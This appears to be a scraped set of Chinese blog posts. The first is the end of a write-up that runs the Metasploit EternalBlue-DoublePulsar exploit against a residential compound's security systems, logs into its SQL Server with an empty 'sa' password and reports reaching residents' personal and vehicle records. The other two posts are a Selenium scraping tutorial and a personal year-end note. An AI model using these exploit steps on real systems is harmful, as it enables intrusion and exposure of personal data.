/home/poweroff/Github/Eternalblue-Doublepulsar-Metasploit/deps/\r\nmsf exploit(windows/smb/eternalblue_doublepulsar) > set TARGETARCHITECTURE x86\r\nTARGETARCHITECTURE => x86\r\nmsf exploit(windows/smb/eternalblue_doublepulsar) > set PROCESSINJECT wlms.exe\r\nPROCESSINJECT => wlms.exe\r\nmsf exploit(windows/smb/eternalblue_doublepulsar) > show targets\r\n\r\nExploit targets:\r\n\r\n Id Name\r\n -- ----\r\n 0 Windows XP (all services pack) (x86) (x64)\r\n 1 Windows Server 2003 SP0 (x86)\r\n 2 Windows Server 2003 SP1/SP2 (x86)\r\n 3 Windows Server 2003 (x64)\r\n 4 Windows Vista (x86)\r\n 5 Windows Vista (x64)\r\n 6 Windows Server 2008 (x86) \r\n 7 Windows Server 2008 R2 (x86) (x64)\r\n 8 Windows 7 (all services pack) (x86) (x64)\r\n\r\n\r\nmsf exploit(windows/smb/eternalblue_doublepulsar) > set target 8\r\ntarget => 8\r\nmsf exploit(windows/smb/eternalblue_doublepulsar) > set rhost\r\nset rhost \r\nmsf exploit(windows/smb/eternalblue_doublepulsar) > set rhost 192.165.15.190\r\nrhost => 192.165.15.190\r\nmsf exploit(windows/smb/eternalblue_doublepulsar) > set lhost 192.165.7.11\r\nlhost => 192.165.7.11\r\nmsf exploit(windows/smb/eternalblue_doublepulsar) > exploit</pre>\r\n<p>\r\n\t\u4e0d\u51fa\u610f\u5916\u7684\u8bdd\u653b\u51fb\u5c31\u6210\u529f\u4e86\uff0c\u7ed9\u51fa\u653b\u51fb\u6210\u529f\u7684\u622a\u56fe\u3002\r\n</p>\r\n<p>\r\n\t\u7b2c\u4e00\u4e2a\u662f\u95e8\u7981\u7cfb\u7edf\uff0c\u6ca1\u88c5\u6740\u6bd2\u8f6f\u4ef6\uff0c\u5c31\u53ea\u6709\u4e00\u4e9b\u95e8\u7981\u5361\u7ba1\u7406\u8f6f\u4ef6</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=667\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201805/573e32702a9c70efe518629bd17db9a3.png\" alt=\"screenshot from 2018-05-21 12-05-58.png - \u5927\u5c0f: 1.02 MB - \u5c3a\u5bf8: 1366 x 768 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"507\"></a></div>\r\n\r\n<p>\r\n\t\u7b2c\u4e8c\u4e2a\u7cfb\u7edf\u662f\u8f66\u8f86\u7ba1\u7406\u7cfb\u7edf\uff0c\u8f66\u8f86\u51fa\u5165\u5e93\u65f6\u5019\u7528\u7684</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=668\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201805/5b3e507778b081dace7b0f360d054cbf.png\" alt=\"screenshot from 2018-05-21 12-41-30.png - \u5927\u5c0f: 743.35 KB - \u5c3a\u5bf8: 1366 x 768 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"507\"></a></div>\r\n\r\n<h2>\r\n\t\u603b\u7ed3\r\n</h2>\r\n<p>\r\n\t\u597d\u4e86\uff0c\u81f3\u6b64\uff0c\u535a\u4e3b\u5bf9\u5c0f\u533a\u7684\u5b89\u9632\u7cfb\u7edf\u8fdb\u884c\u4e86\u7b80\u5355\u7684\u6e17\u900f\u6d4b\u8bd5\uff0c\u6210\u529f\u62ff\u4e0b\u5173\u952e\u7cfb\u7edf\uff0c\u5176\u4e2d\u5728\u670d\u52a1\u5668\u4e2d\u8fd8\u53d1\u73b0\u4e86\u5927\u91cf\u7684\u654f\u611f\u6587\u4ef6\uff0c\u5305\u62ec\u4e1a\u4e3b\u7684\u4e2a\u4eba\u4fe1\u606f\uff0c\u8f66\u8f86\u4fe1\u606f\uff0c\u8f66\u8f86\u51fa\u5165\u767b\u8bb0\u4fe1\u606f\u7b49\u7b49\uff0c\u96be\u602a\u8bf4\u5404\u79cd\u9a9a\u6270\u7535\u8bdd\uff0c\u8fd9\u7b80\u76f4\u8981\u5206\u5206\u949f\u6cc4\u9732\u3002\r\n</p>\r\n<h2>\r\n\t\u540e\u8bb0\r\n</h2>\r\n<p>\r\n\t\u5b89\u5168\u662f\u4e00\u4e2a\u6574\u4f53\uff0c\u5343\u91cc\u4e4b\u5824\u6e83\u4e8e\u8681\u7a74\uff0c\u4e0b\u4e00\u6b21\u628a\u95e8\u7981\u5361\u7684\u590d\u5236\u7834\u89e3\u8fd8\u6709\u81ea\u52a8\u63a7\u5236\u5347\u964d\u6760\u7684\u7efc\u5408\u5728\u4e00\u8d77\u518d\u5199\u4e00\u7bc7\u3002\r\n</p>\r\n<h2>\r\n\t\u8865\u5145\r\n</h2>\r\n<p>\r\n\t\u5728\u7ffb\u770b\u78c1\u76d8\u6587\u4ef6\u7684\u65f6\u5019\u627e\u5230\u4e86\u8f66\u724c\u8bc6\u522b\u7cfb\u7edf\uff0c\u5728\u865a\u62df\u673a\u4e2d\u5b89\u88c5\u540e\uff0c\u6253\u5f00\uff0c\u4f7f\u7528\uff53\uff41\u8d85\u7ea7\u7528\u6237\uff0c\u5bc6\u7801\u4e3a\u7a7a\u6210\u529f\u767b\u5f55\u5230\u6587\u7ae0\u91cc\u9762\u63d0\u5230\u7684\u90a3\u53f0\uff53\uff51\uff4c\uff53\uff45\uff52\uff56\uff45\uff52\u670d\u52a1\u5668\uff0c\u4f46\u662f\u7531\u4e8e\u8fd9\u5957\u7cfb\u7edf\u4f1a\u68c0\u6d4b\u52a0\u5bc6\u72d7\uff0c\u8981\u60f3\u6b63\u5e38\u4f7f\u7528\u53ef\u4ee5\u4f7f\u7528\uff2f\uff24\u7ed5\u8fc7\uff0c\u8fd9\u91cc\u5c31\u4e0d\u64cd\u4f5c\u4e86</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=682\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201807/8d7385fed55b9280329d0bf0eca52250.png\" alt=\"\u5fae\u4fe1\u56fe\u7247_20180716142043.png - \u5927\u5c0f: 34.58 KB - \u5c3a\u5bf8: 400 x 437 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"400\" height=\"437\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=681\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201807/cf1070a6c1049bad0d19d0f15ac76e1d.png\" alt=\"\u5fae\u4fe1\u56fe\u7247_20180716142038.png - \u5927\u5c0f: 20.51 KB - \u5c3a\u5bf8: 388 x 271 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"388\" height=\"271\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=680\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201807/16500c902380f6642c8d0fc46af038d2.png\" alt=\"\u5fae\u4fe1\u56fe\u7247_20180716142032.png - \u5927\u5c0f: 847.89 KB - \u5c3a\u5bf8: 1280 x 900 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"633\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=683\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201807/7316e1206d6e7bdabcc0186bb0e2b093.png\" alt=\"\u5fae\u4fe1\u56fe\u7247_20180716160322.png - \u5927\u5c0f: 45.35 KB - \u5c3a\u5bf8: 746 x 685 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"746\" height=\"685\"></a></div>\r\n<div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23469 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u4f7f\u7528Selenium2 + handless browser + pyquery \u4ee3\u66ffPhantomJS\u505a\u66f4\u9002\u5408\u524d\u7aef\u5f00\u53d1\u8005\u7684\u722c\u866b[\u8f6c\u8f7d]"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2018-02-07, 2:42 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "Python", "\n\t\t\t\t\t\t\t\t\n, ", "\u8d44\u6e90\u5171\u4eab", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t<strong><span style=\"color:#E53333;\">\u539f\u6587\u5730\u5740\uff1ahttps://www.jianshu.com/p/2526c26f8ecd</span></strong> \r\n</h2>\r\n<h2>\r\n\t\u524d\u8a00\r\n</h2>\r\n<p>\r\n\tselenium2 + \u65e0\u754c\u9762\u6d4f\u89c8\u5668 + pyquery \u662f\u4e2a\u4eba\u8ba4\u4e3a\u529f\u80fd\u6700\u5f3a\u5927\u7684\u722c\u866b\u7ec4\u5408(\u8fd9\u4e00\u5957\u672c\u6765\u662f\u7528\u505a\u81ea\u52a8\u5316\u6d4b\u8bd5\u7684)\uff0c\u6709\u4eba\u95ee\u4e3a\u5565\u4e0d\u662fbs4\u800c\u662fpyquery\uff0c\u56e0\u4e3a\u6211\u5bf9jquery\u5f88\u719f\u6089\uff0c\u800c\u4e14\u6211\u4e0d\u559c\u6b22bs4\u7684\u67e5\u8be2\u8bed\u6cd5\uff0c\u6240\u4ee5\u6211\u9009\u62e9\u4e86pyquery\u6765\u964d\u4f4e\u5b66\u4e60\u6210\u672c\uff0c\u4ec5\u6b64\u800c\u5df2\u3002\r\n</p>\r\n<p>\r\n\t\u8fd9\u4e2d\u95f4\u7684\u65e0\u754c\u9762\u6d4f\u89c8\u5668\uff0c\u6700\u5e38\u89c1\u7684\u662fPhantomJS\uff0c\u4f46\u662fselenium\u8bf4\u4eba\u5bb6phantomjs\u4e0d\u601d\u8fdb\u53d6\uff0c\u58f0\u660e\u5c06\u6765\u4e0d\u7ed9\u5b83\u73a9\u4e86(\u8fd0\u884c\u65f6\u4f1a\u629b\u51fa\"Selenium support for PhantomJS has been deprecated, please use headless versions of Chrome or Firefox instead\"\u7684\u8b66\u544a)\uff0c\u6240\u4ee5\u5efa\u8bae\u8fd8\u662f\u7528headless\u7248\u672c\u7684chrome\u6216\u8005firefox\u6765\u66ff\u4ee3\u3002\r\n</p>\r\n<p>\r\n\t\u63a5\u4e0b\u6765\u8ba9\u6211\u4eec\u5f00\u59cb\u5427\u3002\r\n</p>\r\n<h3>\r\n\t\u5b89\u88c5\r\n</h3>\r\n<h4>\r\n\t\u5b89\u88c5selenium2\r\n</h4>\r\n<pre class=\"brush:bash;\">pip3 install selenium</pre>\r\n<p>\r\n\t\u6216\u8005\r\n</p>\r\n<pre class=\"brush:bash;\">pip install selenium</pre>\r\n\u89c6\u4f60\u7684python\u7248\u672c\u548c\u73af\u5883\u800c\u5b9a\u3002\r\n<h4>\r\n\t\u5b89\u88c5 pyquery\r\n</h4>\r\n<pre class=\"brush:bash;\">pip3 install pyquery</pre>\r\n<p>\r\n\t\u6211\u4eec\u5efa\u8baehandless\u7248\u672c\u7684\u6d4f\u89c8\u5668\uff0c\u6bd4\u5982chrome\u3002\r\n</p>\r\n<h4>\r\n\t\u5b89\u88c5Xvfb \u4e00\u4e2a\u4eff\u771f\u7684\u89c6\u7a97\u6846\u67b6\u3002\u53ef\u4ee5\u8ba9\u6ca1\u6709\u663e\u793a\u786c\u4ef6\u7684\u8bbe\u5907\u865a\u62df\u4e00\u4e2a\u663e\u793a\u8bbe\u5907\u3002\r\n</h4>\r\n<pre class=\"brush:bash;\">sudo apt-get install xvfb</pre>\r\n<h4>\r\n\t\u5b89\u88c5PyVirtualDisplay\uff0c\u8fd9\u662f\u4e00\u4e2aXvfb\u7684\u5305\u88c5\u5668\u3002\r\n</h4>\r\n<pre class=\"brush:bash;\">pip3 install pyvirtualdisplay</pre>\r\n<h4>\r\n\t\u5b89\u88c5chrome\uff08<span style=\"color:#E53333;\">\u6b64\u5904\u5e94\u8be5\u6709\u68af\u5b50\uff0c\u8981\u4ece\u8c37\u6b4c\u4e0b\u8f7d\u6587\u4ef6</span>\uff09\r\n</h4>\r\n<p>\r\n\t\u7b2c\u4e00\u6b65\uff0c\u52a0\u5165\u6e90\u5217\u8868\r\n</p>\r\n<pre class=\"brush:bash;\">sudo wget http://www.linuxidc.com/files/repo/google-chrome.list -P /etc/apt/sources.list.d/</pre>\r\n<p>\r\n\t\u7b2c\u4e8c\u6b65 \u5bfc\u5165\u516c\u94a5\r\n</p>\r\n<pre class=\"brush:bash;\">wget -q -O - https://dl.google.com/linux/linux_signing_key.pub | sudo apt-key add -</pre>\r\n<p>\r\n\t\u7b2c\u4e09\u6b65 \u66f4\u65b0\u6e90\u5217\u8868\r\n</p>\r\n<pre class=\"brush:bash;\">sudo apt-get update</pre>\r\n<p>\r\n\t\u7b2c\u56db\u6b65 \u5b89\u88c5chrome \uff08\u8fd9\u91cc\u5b89\u88c5chrome\u4ec5\u4ec5\u662f\u5728\u9700\u8981\u770b\u5230\u6267\u884c\u8fc7\u7a0b\uff0c\u5982\u679c\u4e0d\u9700\u8981\u770b\u5230\u6267\u884c\u8fc7\u7a0b\uff0c\u53ef\u4ee5\u4e0d\u5b89\u88c5\uff0c\u4f7f\u7528chromedriver\u5373\u53ef\uff09\r\n</p>\r\n<pre class=\"brush:bash;\">sudo apt-get install google-chrome-stable</pre>\r\n<p>\r\n\t\u5b89\u88c5\u5b8c\u6210\u4e0b\u8f7dchromedriver\u4e5f\u5c31\u662fhandless\u7248\u672c\u7684chrome\uff08\u6ce8\u610f\u81ea\u5907\u68af\u5b50\uff09\u3002\r\n</p>\r\n<p>\r\n\thttps://chromedriver.storage.googleapis.com/index.html?path=2.35/\r\n</p>\r\n<p>\r\n\t<span style=\"color:#E53333;\">\u6ce8\u610f\uff1ahttps://chromedriver.storage.googleapis.com/index.html \u8fd9\u4e2a\u9875\u9762\u6240\u663e\u793a\u7684\u7248\u672c\u53f72.9\u662f\u65e7\u7248\u672c\uff0c\u5f53\u524d\u65f6\u95f42018-02-07\u6700\u65b0\u7248\u672c\u662f2.35\uff0c\u8bf7\u4e0d\u8981\u641e\u6df7\u4e86\uff0c\u5426\u5219\u4f1a\u56e0\u4e3a\u7248\u672c\u4e0d\u4e00\u81f4\u5bfc\u81f4\u62a5\u9519</span> \r\n</p>\r\n<pre class=\"brush:bash;\">unknown error: Runtime.executionContextCreated has invalid \u2018context\u2019: {\u201cauxData\u201d:{\u201cframeId\u201d:\u201d11740.1\u201d,\u201disDefault\u201d:true},\u201did\u201d:1,\u201dname\u201d:\u201d\u201c,\u201dorigin\u201d:\u201d://\u201d}\r\n(Session info: chrome=54.0.2840.71) </pre>\r\n<p>\r\n\t\u53c2\u8003\u6587\u7ae0\uff1ahttp://blog.csdn.net/c08762/article/details/70339587\r\n</p>\r\n<p>\r\n\t\u4f60\u4e5f\u53ef\u4ee5\u81ea\u884c\u641c\u7d22chromedriver\u7684\u4e0b\u8f7d\u5730\u5740,\u89e3\u538b\u662f\u4e2a\u53ef\u6267\u884c\u6587\u4ef6\uff0c\u653e\u5230chrome\u7684\u76ee\u5f55\u5373\u53ef\u3002\r\n</p>\r\n<p>\r\n\t\u4e00\u822cubuntu\u4e0b\u9762\uff0cchrome\u7684\u76ee\u5f55\u662f/opt/google/chrome/\r\n</p>\r\n<p>\r\n\t\uff08\u6ce8\u610f\uff1a\u8fd9\u91cc\u4e5f\u53ef\u4ee5\u653e\u5728\u4efb\u610f\u4f4d\u7f6e\uff0c\u6bd4\u5982\u535a\u4e3b\u81ea\u5df1\u7ecf\u5e38\u9700\u8981\u5199\u811a\u672c\u6253\u5305\u5e26\u8d70\uff0c\u6240\u4ee5\u76f4\u63a5\u653e\u5728\u4e86\u81ea\u5df1\u7684\u811a\u672c\u4f5c\u4e3a\u7684\u8def\u5f84\u4e0b\uff09\r\n</p>\r\n<p>\r\n\t\u901a\u8fc7\u4ee5\u4e0a\u51c6\u5907\u57fa\u672c\u90fd\u9f50\u4e86\uff0c\u6211\u4eec\u6765\u4e0a\u4e00\u6bb5\u4ee3\u7801\uff1a<br>\r\n\u63a5\u4e0b\u6765\u662f\u4e00\u4e2a\u7b80\u5355\u7684\u64cd\u4f5c\uff0c\u6253\u5f00\u4e00\u4e2a\u9875\u9762\uff0c\u8f93\u5165\u5bc6\u7801\uff0c\u6267\u884c\u4e00\u6bb5\u811a\u672c\uff0c\u8f93\u5165\u4e00\u4e9b\u6570\u636e\uff0c\u7136\u540e\u63d0\u4ea4\r\n</p>\r\n<pre class=\"brush:py;\"># -*- coding: utf-8 -*-\r\nfrom selenium import webdriver\r\nfrom pyvirtualdisplay import Display\r\nfrom selenium.webdriver.support.ui import WebDriverWait\r\nfrom selenium.webdriver.support import expected_conditions as ec\r\nfrom selenium.webdriver.support.select import By\r\n\r\nimport datetime\r\nimport time\r\nimport os\r\n\r\n\"\"\"\u6f14\u793a\"\"\"\r\n\r\ndisplay = Display(visible=0, size=(1024, 768))\r\n# display.start() # \u5f00\u542f\u865a\u62df\u663e\u793a\u5668\r\n\r\n\"\"\"\r\nhttps://chromedriver.storage.googleapis.com/index.html?path=2.35/\r\n\u4f60\u4e5f\u53ef\u4ee5\u81ea\u884c\u641c\u7d22chromedriver\u7684\u4e0b\u8f7d\u5730\u5740,\u89e3\u538b\u662f\u4e2a\u53ef\u6267\u884c\u6587\u4ef6,\u653e\u5230chrome\u7684\u76ee\u5f55\u5373\u53ef.\r\n\u4e00\u822cubuntu\u4e0b\u9762,chrome\u7684\u76ee\u5f55\u662f/opt/google/chrome/\r\n\"\"\"\r\nchrome_driver = \"/opt/google/chrome/chromedriver\" # chromedriver\u7684\u8def\u5f84\r\nos.environ[\"ChromeDriver\"] = chrome_driver # \u5fc5\u987b\u914d\u7f6e,\u5426\u5219\u4f1a\u5728execute_script\u7684\u65f6\u5019\u62a5\u9519.\r\nbrowser = webdriver.Chrome(chrome_driver)\r\nwait = WebDriverWait(browser, 10)\r\n\r\nurl_1 = \"https://some_url\"\r\nbrowser.get(url=url_1) # \u6253\u5f00\u9875\u9762\r\n\r\n# \u5bc6\u7801\u8f93\u5165\u6309\u94ae\r\ninput_password = wait.until(ec.presence_of_element_located((By.CSS_SELECTOR, \".x-layout-table input[type='password']\")))\r\n# \u63d0\u4ea4\u6309\u94ae\r\nsubmit_password = wait.until(ec.element_to_be_clickable((By.CSS_SELECTOR, \".x-layout-table .x-btn span\")))\r\n\r\ninput_password.send_keys(\"password\") # \u8f93\u5165\u5bc6\u7801\r\ntime.sleep(1)\r\nsubmit_password.click() # \u63d0\u4ea4\u5bc6\u7801\r\n\r\ntime.sleep(3) # \u7b49\u5f85\u662f\u4e3a\u4e86\u7ed9\u9875\u9762\u65f6\u95f4\u8f7d\u5165\r\n# \u4fee\u6539\u65f6\u95f4\u9009\u62e9\u5668\u8f93\u5165\u6846\u811a\u672c\r\njs_datepicker = \"\"\"let d = $(\".widget-wrapper>ul>li:first input\"); d.val(\"{}\");\"\"\".\\\r\n format(datetime.datetime.now().strftime(\"%F\"))\r\nbrowser.execute_script(js_datepicker) # \u8f93\u5165\u65f6\u95f4\r\n\r\njs_name = \"\"\"let d = $(\".widget-wrapper>ul>li:eq(1) input\"); d.val(\"{}\");\"\"\".format(\"\u6d4b\u8bd5\u4eba\u5458\")\r\nbrowser.execute_script(js_name) # \u8f93\u5165\u59d3\u540d\r\n\r\njs_phone = \"\"\"let d = $(\".widget-wrapper>ul>li:eq(2) input\"); d.val(\"{}\");\"\"\".format(\"18888888888\")\r\nbrowser.execute_script(js_phone) # \u8f93\u5165\u7535\u8bdd\r\n\r\njs_desc_1 = \"\"\"let d = $(\".widget-wrapper>ul>li:eq(3) input\"); d.val(\"{}\");\"\"\".format(\"\u6d4b\u8bd5\u4fe1\u606f.\")\r\nbrowser.execute_script(js_desc_1) # \u5907\u6ce81\r\n\r\n\"\"\"selenium.common.exceptions.WebDriverException: Message: unknown error: cannot focus element\"\"\"\r\n\"\"\"ec.presence_of_all_elements_located\u65b9\u6cd5\u53ef\u4ee5\u53d6\u4e00\u7ec4\u8f93\u5165\u6846,\u7136\u540e\u5faa\u73af\u64cd\u4f5c\"\"\"\r\ninput_list = wait.until(ec.presence_of_all_elements_located((By.CSS_SELECTOR, \".widget-wrapper>ul>li input\"))) #\u8f93\u5165\u7ec4\r\nsubmit_info = wait.until(ec.presence_of_element_located((By.CSS_SELECTOR, \".x-btn span\"))) # \u63d0\u4ea4\u8d44\u6599\u6309\u94ae\r\nsubmit_info.click() # \u63d0\u4ea4\u4fe1\u606f\r\n\r\ntime.sleep(1)\r\nbrowser.refresh() # \u5237\u65b0\u9875\u9762\r\n\r\ntime.sleep(10)\r\nbrowser.quit()\r\n# display.stop() # \u5173\u95ed\u865a\u62df\u663e\u793a\u5668</pre>\r\n<p>\r\n\t\u6709\u5173pyquery\u7684\u5185\u5bb9\u8fd9\u91cc\u7565\u8fc7\u4e86\uff0c\u719f\u6089jquery\u7684\u7ae5\u978b\u51ed\u611f\u89c9\u64cd\u4f5c\u5c31\u884c\u4e86\uff0c0\u5b66\u4e60\u6210\u672c\u3002\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23468 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u603b\u7ed32017\u8ba1\u52122018"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2018-02-05, 1:10 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u968f\u624b\u8bb0", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t2017\r\n</h2>\r\n<p>\r\n\t2017\u5e74\u662f\u4e2a\u591a\u53d8\u7684\u4e00\u5e74\uff0c\u524d\u516c\u53f8\u4e00\u4e2a\u770b\u597d\u7684\u9879\u76ee\u88ab\u7a81\u7136\u505c\u6b62\uff0c\u88ab\u8feb\u6362\u4e86\u5de5\u4f5c\uff0c\u867d\u7136\u6211\u4e0d\u7518\u5fc3\u5c31\u8fd9\u4e48\u79bb\u5f00\uff0c\u4f46\u4f9d\u7136...\u4e3a\u4e86\u751f\u5b58...\r\n</p>\r\n<p>\r\n\t2017\u5e74\u6211\u7ed3\u5a5a\u4e86...\r\n</p>\r\n<p>\r\n\t2017\u5e74\u6211\u4f4f\u8fdb\u4e86\u65b0\u623f\u5b50\uff0c\u7ec8\u4e8e\u51d1\u8db3\u4e86\u7b2c10\u6b21\u642c\u5bb6...\r\n</p>\r\n<p>\r\n\t2017\u5e74\u6211\u6ca1\u6709\u6316\u6d1e\u4e86\uff0c\u4f46\u662f\u5b89\u5168\u6280\u672f\u6ca1\u6709\u653e\u4e0b\uff0c\u4f9d\u7136\u5728\u7814\u7a76\uff0c\u53ea\u4e0d\u8fc7\u66f4\u5e95\u5c42...\r\n</p>\r\n<p>\r\n\t2017\u5e74\u65b0\u516c\u53f8\u7684\u9879\u76ee\u4f9d\u7136\u6ca1\u6709\u5f88\u597d\u7684\u8d77\u8272\uff0c\u6162\u6162\u7684\u53d8\u6210\u4e86\u5916\u5305\u516c\u53f8...\r\n</p>\r\n<p>\r\n\t2017\u5e74\u535a\u5ba2\u5199\u7684\u592a\u5c11\u4e86...\r\n</p>\r\n<p>\r\n\t2017\u5e74\u57fa\u672c\u4e0a\u6ca1\u6709\u73a9\u8fc7\u65e0\u7ebf\u7535\uff0c\u56e0\u4e3a\u88ab\u8feb\u5404\u79cd\u642c\u5bb6\uff0c\u5de5\u5177\u90fd\u538b\u7bb1\u5e95...\r\n</p>\r\n<h2>\r\n\t2018\r\n</h2>\r\n<p>\r\n\t2018\u5e74\u6ce8\u5b9a\u662f\u4e00\u4e2a\u8f6c\u53d8\u7684\u4e00\u5e74\uff0c\u66f4\u591a\u7684\u65f6\u95f4\u66f4\u591a\u7684\u673a\u4f1a\u505a\u81ea\u5df1\u7684\u4e8b\u60c5...\r\n</p>\r\n<p>\r\n\t2018\u5e74\u91cd\u65b0\u6361\u8d77\u65e0\u7ebf\u7535\uff01\r\n</p>\r\n<p>\r\n\t2018\u5e74\u6362\u4e00\u4efd\u5de5\u4f5c\uff0c\u505a\u66f4\u591a\u6709\u8da3\u7684\u4e8b\u60c5\uff0c\u6e05\u9664\u503a\u52a1\uff01\r\n</p>\r\n<p>\r\n\t2018\u5e74\u5b89\u5168\u7814\u7a76\u66f4\u504f\u5411\u4fa7\u9762\u653b\u51fb\uff0c\u5de5\u4e1a\u81ea\u52a8\u5316\u5b89\u5168\u7814\u7a76\uff01\r\n</p>\r\n<p>\r\n\t2018\u5e74\u5927\u6570\u636e\u4eba\u5de5\u667a\u80fd\u529f\u8bfe\u505a\u8db3\uff0c\u5b9e\u73b0\u81ea\u5df1\u7684\u4e00\u4e9b\u5c0f\u60f3\u6cd5\uff01\r\n</p>\r\n<p>\r\n\t2018\u5e74\u505a\u66f4\u591a\u7684\u81ea\u52a8\u5316\u8f6f\u4ef6...\r\n</p>\r\n<p>\r\n\t2018...\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23467 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
